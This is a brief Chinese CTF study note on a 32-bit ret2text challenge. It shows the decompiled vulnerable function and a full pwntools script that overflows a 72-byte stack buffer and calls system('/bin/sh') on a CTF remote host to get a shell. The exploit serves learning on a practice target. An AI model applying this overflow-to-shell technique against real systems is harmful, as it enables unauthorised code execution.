第一次打CTF——PWN篇学习笔记11
32位的ret2text,偏移值为0x48+4,在ida中查找system和/bin/sh的地址,编写脚本得到flag
ssize_t shell() { _BYTE buf[72]; // [esp+0h] [ebp-48h] BYREF system("echo Welcome to NISACTF"); return read(0, buf, 0x60u); }from pwn import * import struct context.arch = 'amd64' context.os = 'linux' #io = process('./pwn') io = remote("node5.anna.nssctf.cn",23450) system = 0x08048390 binsh = 0x0804A024 payload = cyclic(0x48 + 4) + p32(system) + p32(0xdeadbeef) + p32(binsh) io.sendline(payload) io.interactive()